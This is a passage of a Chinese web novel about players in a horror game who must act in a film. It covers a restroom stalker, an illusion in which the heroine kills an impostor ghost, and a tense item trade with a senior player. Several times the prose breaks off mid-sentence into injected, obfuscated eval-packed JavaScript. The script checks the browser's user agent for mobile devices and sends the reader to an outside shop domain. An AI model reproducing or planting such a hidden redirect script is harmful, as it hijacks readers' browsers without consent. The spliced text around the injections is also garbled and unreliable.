那是一双白色的运动鞋,鞋面上溅着些红色的痕迹,鞋底沾满了泥土。从尺寸来看,这双脚的主人更像是一位男性。 不对劲,即便是许灼进来了,他穿的也不是这双鞋。若不是他进来,那为什么有男人闯进女厕,在门口的他却一声不吭? 或者是她判断错了,门外站着的其实是一位女性? “咚咚咚。”就在思绪纷乱之际,隔间门又被敲响了。 纪然试探性地从道具栏里取出原本存进去的匕首,见没有跳出系统提示,她才凝神把注意力重新放在门口。 正如她所推测的那样,身处私人空间让她得以暂时摆脱角色设定的束缚,恢复自我。在进入厕所隔间之前,为了防止厕所这种公众场所也被当成潜在拍摄的一部分,她一直维持着人设,没有松懈。 纪然握紧了匕首。不管怎么说,在这个充满未知与危险的游戏副本世界中,保持高度警觉是生存的关键。 门外的人停止了敲击,但那双脚依旧停留在原地,没有移动的迹象。正当纪然在脑海中分析当前局势时,就见门上渐渐显现出一张人脸的轮廓。 尽管门是由木头制成,此刻却仿佛有人正用力将自己的脸部挤压进一层薄薄的塑料膜中,形成诡异的凸起。 灰色的门板上,人脸没能穿透进来,但其五官却异常清晰地烙印在了木质表面上。 这一幕让纪然感到一阵寒意袭来,她不由自主地又向后退了几步,全身起了鸡皮疙瘩。 这什么玩意,好渗人。 似乎意识到无法穿过门板,那张脸缓缓地从门上撤回,门面随即恢复了平滑。随后,通过门缝可见的那双脚向后退去,紧接着,一双手的轮廓和膝盖出现在地上,仿佛正准备趴伏下来。 瞬间,脑海中闪过一丝不祥的预感。不会吧不会吧,是她想的那样吗? 一股强烈的紧张感涌上心头,纪然毫不犹豫地直接踩上马桶,借着助力直接攀上了隔板上面。幸运的是,这些隔板足够坚固,能够承受她的重量,且没有发出任何声响。 顺着之前杂物间的方向,纪然直接敏捷地翻越过去。在隔板的顶端,她忍不住向下瞥了一眼,只见一个男子正跪在地上,脸部紧贴地面,眼睛透过门板下方的缝隙窥视着。 天杀的,居然真的有这种变态! 成功翻越后,直到轻轻踩在杂物间里她前不久放回去的塑料椅子上,她才稍微稳了稳动荡不安的心神。 没敢从椅子上下去,因为公共厕所的隔间门板下通常都有相连的缝隙。如果被下面那个人发现了这边突然多出的脚影,恐怕会引起不必要的麻烦。 她开始思考如何摆脱眼前的困境。如果那个人一直不离开,而她又不可能一直待在这个厕所里。毕竟,拍摄的中场休息时间只有半小时,现在已经过去了至少十分钟。 不清楚为什么等在门外的许灼会放任这种变态男进来,怎么说他们也是要合作拍戏的搭子,一方发生意外,之后戏份该找谁演? 所以,纪然猜测,或许许灼在门口也遇到了某种麻烦,被其他事情牵制住了。 莫非,这个变态男出现在厕所的目的,就是为了干扰他们的拍摄进程? 纪然控制着自己的呼吸,避免像当初第一个副本那样,因为呼吸声而暴露自己。 在她全神贯注地倾听外面的动静时,一阵细微的摩擦声响起,那个男人似乎已经从地上起身。脚步声向厕所内部移动,最终停在不远处的第三个隔间门前。 “咚咚咚。”熟悉的敲门声再次响起,打破了寂静。 他这是在找人?纪然眉头紧锁,揣摩着这个男人的意图。她无法确定他的真正目的,但是,她知道那个隔间里确实有人。 “呜呜呜——” 一阵压抑的哭泣声从那个隔间传出,显然是被吓坏了,终于忍不住哭了出来。连隔着两三米远的纪然都听得分明,更何况近在咫尺的那个男人。 “原来你躲在这里啊,找到你你。”那人发出的音调有些怪异,每个字的发音都忽高忽低,起伏不定,仿佛故意为之。 隔间内的女孩因恐惧而哭声戛然而止,她的呼吸浅而急。哽咽着,呼喊着“救命”之类的求救话语。 随着她惊慌的声音,随之而来的是踹门声。 “嘭——嘭——” 可恶,手机却偏偏放在在广场长椅上的背包里,无法报警! 就在纪然握紧了匕首,分析着自己能不能打赢这种身材魁梧的男性,犹豫要不要顶着OOC的警告趁其不备出击时,女厕大门那又传来新的脚步声。 “是不是有人在喊救命?”一个陌生的男性声音突然响起,随之而来的是急促逼近的脚步声,“这里怎么会有男人!” 听到有人察觉到了这一切,纪然紧抿着嘴唇,刚踩在地面上的脚重新缩回到椅子上。根据外面传来的动静,新来的男人应该是跟那个变态男打起来了。 “我错了我错了不要打了。”变态男开始求饶,外面的骚动逐渐减弱。纪然凝神细听,随后是一串跌跌撞撞的脚步声,表明那个变态男已经离开了女厕。 “你还好吗?那个人已经走了,你可以出来了。”新来的男人轻敲了两下女生所在隔间的门,温和地说道。 伴随着“咯吱”一声,隔间的门缓缓开启。 见自己得救,女生再也控制不住情绪,心中的恐惧和紧张瞬间化作泪水,无法抑制地涌出眼眶。而那个男人则用温柔的声音安抚着她。在他的悉心慰藉下,女生渐渐停止了哭泣。 “好了,没事了,一切都过去了。这里不是说话的地方,不如我带你去吃点东西,放松一下心情,世界上还是有好人的。”男人的提议带着一份诚恳和体贴。 然而,当纪然听到他们的对话转向邀请女生去用餐时,内心不由自主地升起了一丝警觉和不安。 可能是她多想了吧,纪然没再思考这个。 当确认两人的声音已经远离女厕,周围恢复宁静后,纪然收起手中的匕首,推开隔间门走了出来。 所以,都没人发现这个她在的隔间门,在被她关上之前,原本一直是开着的吗?而且那个女生明明知道厕所里还有其他人,却没有找她求救。 在极度恐慌的情况下,人类往往会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云初夏走在楚昭的身旁,不时试图挽住他的手臂。楚昭则微微皱起眉,加快步伐避开她的触碰,在心里思忖着这个女人又在演什么。 面对楚昭一路上的沉默寡言,云初夏感到一种近乎冷暴力的压抑,她终于按捺不住,率先开口打破了这份沉寂:“我们是不是该去吃点东西了?” 闻言,斜睨了云初夏一眼,想也没想地说:“不是没胃口吗,这就饿了?”前不久她还因为晕车而只能勉强喝些水,现在这么快就有胃口吃东西了? “毕竟到了饭点,就算不想吃也得稍微吃一点,不然下午可就难受了。”云初夏回答得十分流畅,仿佛一切都是那么理所当然。 “下午会饿?”楚昭突然停下脚步,重复了一遍。 他低下头垂着眼,声音轻柔却带着不易察觉的锐利:“前几天你说要减肥,特地嘱咐我监督你。” “噢对,还好有你监督我,不然我又减不了了。”云初夏懊恼地说。 她的话音刚落,楚昭就猛地出手,紧紧扼住她脖子,狭长的双眼里满是狠戾:“你不是她,她人在哪?” 67. 先发制人 这个幻境里只有他一个人,没见到云初夏在哪,只有一个冒牌货,是她从一开始进女厕后就被袭击顶替了,还是她也陷进了某个幻境里? 他是亲眼看着云初夏进厕所的,那时她显然还是本人,没有任何异样。之后在等待时的某个瞬间,他被拉进了幻境。从见到空荡荡的厕所他就察觉到不对劲,但没发现有幻象的痕迹。谁能想到,一个低级本里的鬼物居然有制造半现实幻境的能力。 所谓的半现实幻境,指的是以现实场景为基础,在此植入虚构元素,从而构建出一个介于虚幻与真实之间的世界,所以细节上比完全型的幻境更加逼真。 再加上陷入其中的人的所有感知和思维过程全是真实的,行动逻辑也与之前一致,一般人很难分辨出自己从什么时候陷入的幻境,更无法辨别自己所处的到底是幻象还是现实。 即便是像楚昭这样的高级玩家,一旦失去了警惕之心,同样会在不知不觉中陷入幻境。这一把,栽在了小觑低级副本上,实属是犯了轻敌大忌。 楚昭沉思,总感觉副本难度在提升,是因为他们跑到剧本里没有提及的地方了吗? 况且,“云初夏”要是真死了,那么接下来的对手戏,他该跟谁演,跟鬼吗? “你……干什么?我……我听不懂……呃——”假云初夏的话语断断续续。 听到她还在试图狡辩,楚昭的眼神变得更加冷冽,手指如铁钳般收紧,牢牢扼住这个冒牌货的命门,声音也低沉下来,充满了压迫力:“我再问最后一遍,她在哪?” 面对已经暴露的事实,假冒的云初夏仍然不甘心就此放弃,她强忍着窒息的痛苦,艰难地挤出话语:“我……就……是……啊……” 楚昭见对方始终不肯吐露真相,眼中的寒意愈发浓重。他的手猛地施加力量,随着一声清脆的“咔”,毫不留情地拧断了她的脖颈。 刹那间,所有的幻象如烟雾般消散无踪,楚昭发现自己再次站在了厕所的门口处。此刻的厕所恢复了几分常态,偶尔有其他游客进出。 果然,这个幻境的核心就在于这只鬼物。战力很弱,却极为擅长构建半现实幻境。可惜的是,它过于急躁,甚至未曾深入了解两人的背景便贸然行动,加上多说多错,这才让楚昭得以迅速识破其伪装。 楚昭收敛起眼中的杀机,迅速环顾四周,无视旁人诧异的目光,在女厕门口喊了几声,仍然没有回应。 经过短暂的思考,他果断地拦住了一位刚从厕所出来的女士:“你好,我朋友有低血糖,她进去很久了还没出来,我担心她可能在里面晕倒了,能不能麻烦你帮我看一下?” “噢,好,好的。”女人多看了几眼他的脸,转身又回到厕所,把每一个显示有人的隔间都敲了敲,才想起来自己忘了问他朋友叫什么名字。 好在厕所内的人数并不多,经过一番检查,仅剩一间隔间无人应答。在她准备找工作人员强行开门时,那扇门却突然从内部被推开了。 纪然抿着嘴从里面走出,她的目光并未落在任何人的身上,仿佛周围的其他人根本不存在一般。径直走出女厕,到洗手台前洗手,洗了一遍又一遍。 她洗得很用力,把手臂以下全部搓红了。不仅如此,她还用手掬起清水,一次又一次地冲洗着脸庞。 “你没事吧?”楚昭看见纪然目不斜视地与他擦肩而过,只自顾自地地洗着手,便走过去轻声问道。 她也进了幻象吗?杀了里面的冒牌货?她看到的应该是他吧? 纪然听到这熟悉的声音,缓缓抬起头,脸上的水珠顺着下巴滴落下来。通过镜子,她看到了站在自己身旁的人,眼神瞬间就变了。 楚昭眼疾手快,刚察觉到一丝端倪就立即伸手捂住她的眼睛,并在她耳畔轻声提醒道:“等下我们还要拍戏,我是你剧本里的男朋友。” 在被突如其来的手掌遮蔽视线的那一刹那,纪然几乎本能地想要拿出匕首进行反击。然而,当她听到那句与她记忆相吻合的话语时,逐渐冷静下来:“我没事。” 确认纪然已恢复正常后,楚昭松开了手。虽然她的眼神依旧带着几分冷漠,但至少不再显得异常。 “别洗了,走吧。”楚昭不容分说地将纪然从洗手台旁拉开,直接出了厕所,向着广场的方向走去。 脚下是一条由光滑鹅卵石铺就的长长小径,两侧绿树葱茏,即使临近厕所,空气中也没有丝毫异味,反而弥漫着清新自然的草木气息。 被抓着手腕强行往前走的纪然,出来后一直没吭声,又走了一段路后,在他侧后方忽然开口说道:“那种感觉很真实。” “嗯,我知道。”楚昭的步伐短暂地停滞了一下,随即又继续前行,手中依然紧紧握住纪然的手腕,他能感受到她的轻颤。 纪然抬头看着他的侧脸:“你也遇到了吗?” 他偏过头,与她的目光交汇,他的眼神中透露出一种深邃的宁静:“现在只是开始,你要习惯。” 一番对话,两人每句话都只说半截,却都懂了对方的言下之意。 知道他说的“开始”是指他们目前所处的低级副本,纪然沉默不语,任由他拉着自己走,脑子里不断回想着刚才发生的一幕。 鲜血如雨点般溅落在她的脸上,滚烫而黏稠的红色液体沿着锋利的匕首缓缓滑落,最终浸湿了她的双手。浓烈的腥味充斥着整个鼻腔,那柄沾满血迹的匕首最终无力地坠落到地面上。 她愣在那里,大脑一片空白,思维仿佛被冻结,只能死死地盯住眼前那张颇为熟悉的脸。明明上一秒他还在跟她说话,虽然不是什么好话;下一秒,他便轰然倒地,激起了周围微小的尘土飞扬。 穿过郁郁葱葱的绿荫地带,楚昭松开了紧握纪然手腕的手,轻轻推了她一把,把她推进阳光下:“去找你认识的人吧。” 纪然扭头,见他往放着两人行李的长椅那走,便收回视线,揉了把脸,去找叶柯。 这个许灼说得对,这是她作为新人参与的第二个副本,难度已经算是最低级了,如果连这个都熬不过去,谈何未来。 她试图说服自己,刚刚所做的只不过是杀了一只冒牌鬼物而已,不是真的杀人。当时那种危机时候,如果不是她先下手为强,这会儿她就不是站在广场的阳光下,而是和那具尸体一样,躺在泥土里。 纪然安慰着自己,至少那只鬼物的实力并不强大,她只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其他的倒也没什么特别之处,总之,你要多留个心眼,有情况你就找我们。”叶柯将目光转向纪然,语气虽平淡,但从话语中透露出的关切之意,就像不放心孩子一个人出门的家长似的。 纪然认真地点了点头,随后以剧本的名义,意有所指:“脱离‘镜头’之外,可以不用扮演角色。” 她在那两个字上加了重音,相信叶柯他们一定能理解的。 叶柯确实听懂了这句言外之意,为了避免过多讨论导致OOC,她并未继续深入这个话题。两人默契地转换了话题,开始探讨剧本中的情节。 “你那个‘男朋友’怎么样?演这种情侣戏份你就把他当成一棵大白菜,专注于自己的表演即可。如果他有什么举动让你感到不适或不安,你一定早点跟我们说。” 提及此事,叶柯的神情凝重起来,生怕纪然这个这位丧失过往记忆又年纪尚轻的女生,在面对异性骚扰时缺乏足够的认识,不知如何有效防范和保护自己。 “放心吧,动手动脚的人都是我。”纪然扬起小白花般的笑容,自信发言。 叶柯:? 不是,这是能说的吗? “只要我先发制人,被骚扰的人就不会是我。”纪然进一步解释道。 叶柯:??? 好像,也不是不行。未曾设想的道路打开了。 68. 第一天:第三幕1 两人没说太多,叶柯的目光轻轻掠过纪然的肩膀:“时间快到了,我们该过去准备了。” 纪然顺着叶柯的视线回头,只见楚昭正稳步朝她们走来,目光很明显地锁定在她身上。有些惊讶地“咦”了一声,扭头对叶柯挥手:“那我走了,你们也要好好演哦。” 等纪然来到楚昭面前,先是看了眼他的左右手,又绕着他看了一圈全身。 “……你在找什么?”楚昭被这番打量看得浑身不自在。 “一般来说,这种场景不应该是男朋友提着刚做好的三菜一汤来叫女朋友吃饭吗?”纪然摸着下巴,目光在他双手间再次打量。 “谁跟你说的?”楚昭微微笑了一下,反问道。 “我自己想的。”纪然大大方方地回答。 楚昭:“……” 沉默几秒,他还是开口说道:“要到时间了,怕你迟迟没回来影响我的拍摄进度,来叫你回去拿行李。”直男人设这么样说话,感觉很容易被她反击。 果不其然。 “什么行李还要我亲自拿?哎,人家拿不动啦。”纪然跟着他往放着行李的长椅那边走,一路上还不忘刷人设。 呵,拿不动。 一个人陷进半现实幻境后,能从蛛丝马迹中找到幻境核心,狠下心击杀掉跟人类一模一样面孔的鬼怪,这样的人说她拿不动行李? “你要是把说话的力气省出来,就能拿得动,”楚昭在心里嗤笑,按照自己理解的直男逻辑回应道,但随即意识到这与自己严谨自律的形象有所出入,于是又补上一句,“当然,我拿也可以,权当锻炼身体了。” 纪然对这段话不置可否,他不觉得这样前后矛盾的话说出来会很奇怪吗? 走到长椅边上,纪然从剧组给的背包里摸出手机,瞥了一眼屏幕上的时间——已是正午十二时二十分,距离导演所说的十二点半集合已经没剩多少时间。 稍作饮水之后,她摸索了一下这个手机里的东西,发现除了一个标记为“苏姐”的联系人之外,几乎什么都没有。不难推测,这个苏姐应该就是刚才见过的经纪人。 转眼间,半小时的休息时间转瞬即逝。随着集合时间的临近,玩家们陆续回到了广场上,聚集在大巴车旁。 纪然终于看到了一直不见人影的田文俊。他站在一群玩家的最后面,背着包抬头四顾,外表并无异样。但看到他周围的几人频频捂鼻的动作,很显然,他身上还有着叶柯说的那种味道。 这时,一阵风从人群后面吹向前,不少人眉头微皱,只有纪然揉了揉鼻子,又扭头往后看了一眼,眼中流露出几分困惑。 她鼻子好像坏掉了,闻不到味。 程导站在车头附近,目光扫过每一个演员,确认他们都已到位后,开口道:“接下来的拍摄任务是,你们需要表现出因为炎热,在这里匆匆浏览一遍后,急切地赶往住宿地点的情景。到达宾馆后,我们将在那里拍摄第三场戏。有没有问题?没问题了我们现在就开始。” 在众人点头后,程导意大家散开,摄像机的镜头缓缓转动,准备捕捉接下来的一幕。 纪然倒不用调整自己的表情,反正她两个人设并无太大差异。而就没有这么轻松了,比如她旁边的这位。 原本他脸上没什么表情,站在一旁不动的时候像个雕像,导演一说开始后,他闭了闭眼,再睁开时看过来的眼神有种说不出的怪异感。 瞥了一眼,好奇怪,再瞥一眼。纪然忍不住问:“你这是什么眼神?” 楚昭把纪然想象成一件超稀有的SS道具,眼神顿时炽热专注了许多。听到问话,他轻垂眼帘,组织语言:“看宝贝的眼神。” 一点都不信但却蹬鼻子上脸的纪然:“你的宝贝现在有点热。”说着,她麻溜地从包里取出扇子恭敬递过去。 被强行往手里塞了扇子的楚昭:“……” SS道具挺好的,就是总在人酝酿感情的时候打断别人。 烈日如火,高悬在天空中,无情地炙烤着大地。纪然感觉自己就像一块被暴晒的肉干,蔫不拉几地坐在行李箱上,手里的扇子有一下没一下地挥动着,任由别人拉着自己移动。 剧本里说好的太阳伞居然没有发给她,而这个能扇出冷风的人说自己空不出手。真的要被晒成肉干了。 在这种高温下,都不用考虑什么角色反应了,因为每个人都是本色出演,汗水沿着额头滑落,急匆匆地向工作人员指示的方向赶去。 为了演出专业性和真实性,饰演剧组人员的四名玩家,不得不拖着行李箱,肩扛着设备,奔波在炎热的阳光下。 这一幕让纪然不由自主地加快了扇风的速度,她轻叹一声,转头看了一眼越来越近的目的地,对楚昭说:“加油,我们要到了。” 高级玩家的身体素质在此刻就能体现出来了,即使所有的道具和特殊能力都被暂时封住,但经过强化的身体机能依旧不受影响。在众多新人玩家中,楚昭格外显眼。 面对如此炙热的天气,即便是体质再好的人也难免汗流浃背。而楚昭,气定神闲地拖着一个人外加两人行李,还能保持着清爽,甚至摸上去还能感受到他皮肤上的凉意。 “别乱摸。”楚昭拉着行李箱的手指用力,忍不住回头警告。 “你手好凉啊。”纪然说完后总感觉这句话莫名耳熟,一扭头,正对上叶柯投来的目光,那眼神里充满了一言难尽。 叶柯:这就是你说的先发制人? 纪然:昂。 烈日下,经过一番奔波,没多久,印着“不夜宾馆”四字的招牌映入眼帘,在阳光下闪闪发光。 “就是这里了吧。”叶柯首先开口,手掌挡在额前望着宾馆。 纪然从行李箱上轻盈跳下,很自觉地给楚昭递水:“谢谢亲爱的,您请喝水。” 一群人进入宾馆,剧本里,这是他们的落脚点。这个小镇的旅游业发展得并不迅速,没有那么大规模的酒店,好在宾馆的建设很成体系,以其独特的风格和近乎民宿的亲切感,让人心生好感。 宾馆老板并不是演员,而是与剧组合作的宾馆真老板,姓高,三十多岁,在此次拍摄里本职出演。 这一段是叶柯的戏份,她饰演的角色唐晨歌与高老板寒暄几句后,便在老板的带领下,一行人踏上了楼梯,来到了二楼。 「场景三(片段):宾馆内」 「△在八人商量怎么划分房间时,高老板带着四名剧组人员登上了三楼。陈南寻和张子坤被安排在靠近楼梯的房间,而陈欣和秦文心则住在对面的房间。」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179153|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 「△二楼的八人在选择好房间后,高老板下楼,手里拿着一串钥匙,逐一递给他们。」 「高老板:(微笑着叮嘱)在我们小镇有个习俗,在第一次入住房间前,需要先敲三下门。」 「△一群人虽然感觉很奇怪,但旅行的兴奋感和对新环境的好奇很快冲淡了他们的疑惑。他们按照高老板的叮嘱,在进房间前都敲了敲门,等待了几秒钟后才推门而入。」 「△陈欣和张子坤在四间房间里,安装了面向门口的微型摄像头,知会八人一声后,离开房间,开始拍摄宾馆内部装潢和窗外风景。」 「云初夏:(看着微型摄像头的位置)在房间里装这个会不会侵犯隐私?」 「许灼:(安慰)没事的,镜头是对着门口,我们只要处于它的后方,就不会被拍到。」 「云初夏:等下会有我们房间里出现灵异的一幕,这是电脑合成的还是道具弄的?」 「许灼:(走到窗边打开窗户)身为演员,即便面前什么都没有,但还是得演出来有东西的样子,加油吧。」 「△陈南寻在云初夏所在的房间里布置道具,一切就绪后,他向秦文心示意完成。秦文心随即确认所有房间的道具均已布置妥当,并通知大家准备继续拍摄。」 「△拍摄先从靠楼梯的房间开始,陈欣和张子坤带着摄影机步入第一间房。」 再之后,就是纪然之前回顾过的,云初夏和许灼在房间里的一段戏。 有一点令她感到奇怪,那就是为什么任务里没有第三种人设。 人设一是作为演员的“纪然”,人设二是剧中剧里的“云初夏”,那么在原本的电影剧本里,扮演“云初夏”的人是谁?她不需要演出这个人吗? 不过,以她看到的剧本内容而言,感觉扮演“云初夏”的这个角色,其实跟“云初夏”的性格非常相似。甚至连同在她剧本里戏份颇重的“许灼”,也与扮演他的人在性格上有着难以忽视的共通点。 还有,这个“演员”,并没有自己的名字,一直是用剧中剧里的人名来代替。 那么,她是不是可以大胆推测,剧本里的“演员”,和剧中剧里的角色,实际上是同一个人,而这场剧中剧,是“演员”的本色出演。 这跟之后几天的剧本内容有关吗? 后面的剧情纪然还不清楚,她所能依据的,只有手头有限的信息和自己的直觉。目前,她也只能走一步看一步了。 尤其是,等下的灵异戏份,如果是正常世界里的拍戏,那只不过是用道具以及特效来做出的恐怖场面。但放在副本的虚拟世界里,很有可能是真的见鬼,不得不让她打起精神。 按照剧本所示,几人划分好房间,高老板递给他们每人一串钥匙,神叨叨地叮嘱:“在我们小镇有个习俗,在第一次入住房间前,需要先敲三下门。” 虽然知道会有这么一句话,但真的说出来后,纪然还是感觉很怪异。 她和楚昭来到走廊尽头靠近街道的那间房,正准备敲门时,楚昭低声问了一句话:“你猜,为什么入住前要敲门?” 这个问题让纪然的动作一滞,她的手指屈起,停在了半空中。 纪然眯起眼,低着头避开镜头的眼神里满是警惕:“我猜,不只是习俗。” 69. 友好的交流 若是普通世界,入住前敲门或许是可能因为上一任房客没有离开,也或许如老板所说的当地“习俗”。但处于虚拟世界里,尤其是剧本里提到过房内有超自然的灵异元素,很明显,里面有“人”。 敲门更像是一种宣告,告知那些无形的存在——有人要进来了。 以这样推论,剧本里的恐怖,很有可能会发生在现实。 略微思索后,纪然的手指还是敲在了门上。 “咚、咚、咚。” 三声过后,楚昭率先伸手推开了门。 放眼看去,里面家具不算多,约莫有三十平,左侧墙面镶嵌着一体式的衣柜,右侧则是配置了干湿分离的卫生间。进门即是一个小客厅,摆放了一张小茶几和能容纳两人的沙发,对面墙壁上固定着一张狭长的桌子,上方悬挂着电视机。 往里走,最里边是一张宽两米的双人床,床的上方安装了一台投影仪。床侧是一扇宽敞的大窗,虽未延伸至地面,却也足以让充足的自然光线洒满房间。在床与电视之间还安置了一个梳妆台,上面井然有序地陈列着各种发饰、梳子和美发工具。 “看起来还不错。”纪然边说边用手指轻轻拂过小茶几的表面,确认没什么灰尘后满意地将背包置于一旁,又钻去卫生间打量。 根据她近期阅读的无限流小说中的常见情节,卫生间往往是灵异现象频发的场所,特别是涉及镜子的恐怖故事层出不穷。 此外,水龙头和淋浴设施也常常成为惊悚元素的载体,例如流出的是鲜血而非清水,或是沐浴时从花洒中喷涌而出的是纠缠的发丝等令人毛骨悚然的描述。 卫生间有两道门,一道是最外边的房门,一道是用以干湿分离的磨砂玻璃门。外部区域包含了洗手间和盥洗台,而内部则是一个独立的淋浴空间。 纪然靠近那面镶嵌于墙体之中的镜子,镜面很大,足以完整映照出她的上半身,若稍微后退几步,还能勉强窥见全身的倒影。 联想到警方审讯室中常见的双面镜,纪然用手轻叩镜面,听到镜片传出清脆的声音。又将手指尖抵在镜子表面,观察指尖与反射图像之间的距离。 很好,指尖和反射图像之间有一个小间隙,这说明镜子后面有一层玻璃和一层金属涂层——这是一面单面镜。 若是双面镜,指尖会直接接触到反射图像,因为镜子后面没有玻璃或涂层。 刚才的敲击听声音,同样是一种有效的辨别手段。单面镜会发出清脆的声音,而双面镜由于背后可能有空间,敲击时多半会发出空洞或沉闷的声音。 纪然旋开水龙头,清澈的水流顺势而下,确认没问题后关上了水龙头。她随即步入浴室,谨慎地卸下花洒,对其进行了彻底的检查,以防其中隐藏着任何形式的监控设备。 这时候,楚昭走进卫生间,关上了门。察觉到动静的纪然转过身来,询问:“你现在要用卫生间吗?” 走到洗漱台边上的楚昭,看了眼镜子,又打量了一圈里面的设施,最后把视线投向最里面的纪然,轻声道:“这里没有镜头。” “卫生间里若是有镜头,那也太变态了吧。”纪然边说着,边将检查完毕的花洒重新归位,同时目光掠过置物架上整齐摆放的洗漱用品。 没有镜头,指的是他们现在可以做回自己。不过,他这么直接说出来,是不是表示现在卫生间里没有所谓的其他存在? “你知道我在说什么,”楚昭面无表情,“游戏不会完全不给玩家留余地,何况这只是个低级副本。处于私密空间内,所谓的人设限制就是形同虚设。非剧情杀的角色,在第一天不自己找死就绝对安全。” 面对楚昭接连抛出的三个关键信息点,纪然感觉几分惊讶,这是要交流情报的节奏? 纪然走过来,直截了当地问道:“你想说什么?” “十二名玩家,你熟悉的人占据了半数。”同样是陈述句。楚昭在这短短一段时间内,已经通过观察和分析,洞悉了这个事实。 纪然心中暗自思量,除了与叶柯有过明显的互动表明彼此相识之外,她与其他四位队友几乎未曾交谈,顶多多看了几眼宋队长,这人居然全都看出来了? “好厉害的观察力,不愧是老玩家。您来新手局炸鱼塘吗?”纪然竖起了大拇指。 楚昭并未赘言,直接阐明了自己的意图:“在这个副本中,成功通关有概率掉落一个名叫‘凯莉的洋娃娃’的特殊道具,我需要这个道具。你们若是通关时随机到它——作为交换,这个副本里你们如果触发了必死局,我会帮你们规避一次死亡。” “就一次?我们六个人呢。”纪然敏锐地捕捉到了楚昭话语中的关键点,并没有轻易被他所说的“们”字给糊弄过去。毕竟,一共就十二个人,还能一次死一群不成? “不是只有你们能掉落道具,”楚昭嘴角勾起一抹略带嘲讽的微笑,“过于贪婪,最终可能什么都得不到。” 纪然没怕这个,既然他有所求,就不用在意这些浮于表面的威胁。 她做出同款表情:“我是新玩家,又不是没脑子。其他玩家都是各自为战,如果你选择不与我合作,那么为了提高获取道具的概率,你就不得不为每位其他玩家都提供一次保护机会,这样算下来,比跟我合作还亏呢。” 她看穿了楚昭试图施加心理压力的策略,新手玩家或许对游戏机制不够熟悉,但这并不妨碍他们运用逻辑思维进行分析。 “有道具,你们也守不住。”楚昭的眼神在卫生间的灯光映衬下愈发显得深邃莫测,眉宇之间流露出一股不容忽视的冷峻气息。 面对楚昭隐含的威胁,纪然毫不退缩地迎上他的目光:“你要明抢吗?” 楚昭不置可否。 “那怎么办呢,您要抢的话,我们一群新人可都不会是老玩家的对手,”纪然慢慢走近他,无所谓地笑了笑,随即话锋一转,“不过,真的能抢走的话,您用得着跟我浪费口舌周旋吗?” 楚昭凝视她半晌,缓缓开口:“这个副本里每个人都会有剧情杀,你以为凭借你的小聪明就能避开必死局?” 剧情杀,这是他第二次提及这个词汇,纪然在脑海中迅速分析着他的话。每个人都会有剧情杀,而副本设定的时间为七天,但电影拍摄周期仅为五天,指的是第五天会有团灭剧情? “如你所说,这只是个低级副本,总会给我们这些新人留有余地的。”纪然拿他的话堵他。 “两次。”楚昭沉声道。 啧,真小气。 纪然撇嘴:“你是不是身体不行?” 楚昭:? “别人都六次七次的,你怎么才一次两次?老玩家就这?”纪然倚靠在他对面的墙上,背部贴着冰凉的瓷砖,双手交叉抱胸,在理解了楚昭话语背后的含义后,有恃无恐地开启嘲讽模式。 楚昭:“……” 怎么感觉这话里的意思似乎有些歧义。 “六次七次?你说的是字面意思?”楚昭皱眉,这要是所有人都救, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179154|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他跟这群人的保镖有什么区别? “昂,不然呢?”纪然点头,反过来问他,“你还想有什么意思?你想要我们通关后刷出来道具给你,你又怎么知道在离开副本之前,到底是谁能得到你想要的道具呢?” 纪然继续说:“只有一两次庇护机会,万一次数用完了,接下来你对我们袖手旁观,结果下一次遇到必死局的正好是我们未来能获得道具的队友呢?生死关头,用未来的道具来救现在的自己,不过分吧。” “你在威胁我?”楚昭声音沉了下去,反问道,“你说这话不觉得有问题?你怎么能保证你们的人就一定会获得我想要的东西,倘若拿到东西的是另外几个独行玩家,帮你们这么多次的我,岂不是亏了?” “所以呀,你最好的选择就是与我们合作,”纪然理所当然道,“你可以当成我在开空头支票给你,但如果真的是其他玩家获得道具,他们怎么在自动传送回初始世界之前的短短时间内,相信你说的话并且跟你达成交易?” 纪然没给他说话的机会,一口气说出来:“你也看出来了吧,这群玩家里的纯新人很多。除去我的队友,独行玩家里至少有三人是纯新人,任务一完成便会开启传送。而另外两人,能进这个副本,代表着他们也是个新人,你拿什么跟一群新人交换?道具吗?” “我猜,你们这种老玩家,或者说高级玩家,进全是新人的低级副本,限制很大吧?”纪然上前几步,盯着他的眼睛,不自觉地流露出连自己都未曾察觉的气息。 即便身高上是以仰视者的姿态,她却以一种超然的视角洞察着,仿佛在俯视众生一般。 “无论是现实还是副本,亦或是广袤无垠的游戏世界,世间万物的运行法则总是趋向于平衡。所以,比如说——”纪然眼尾上扬,步步紧逼。 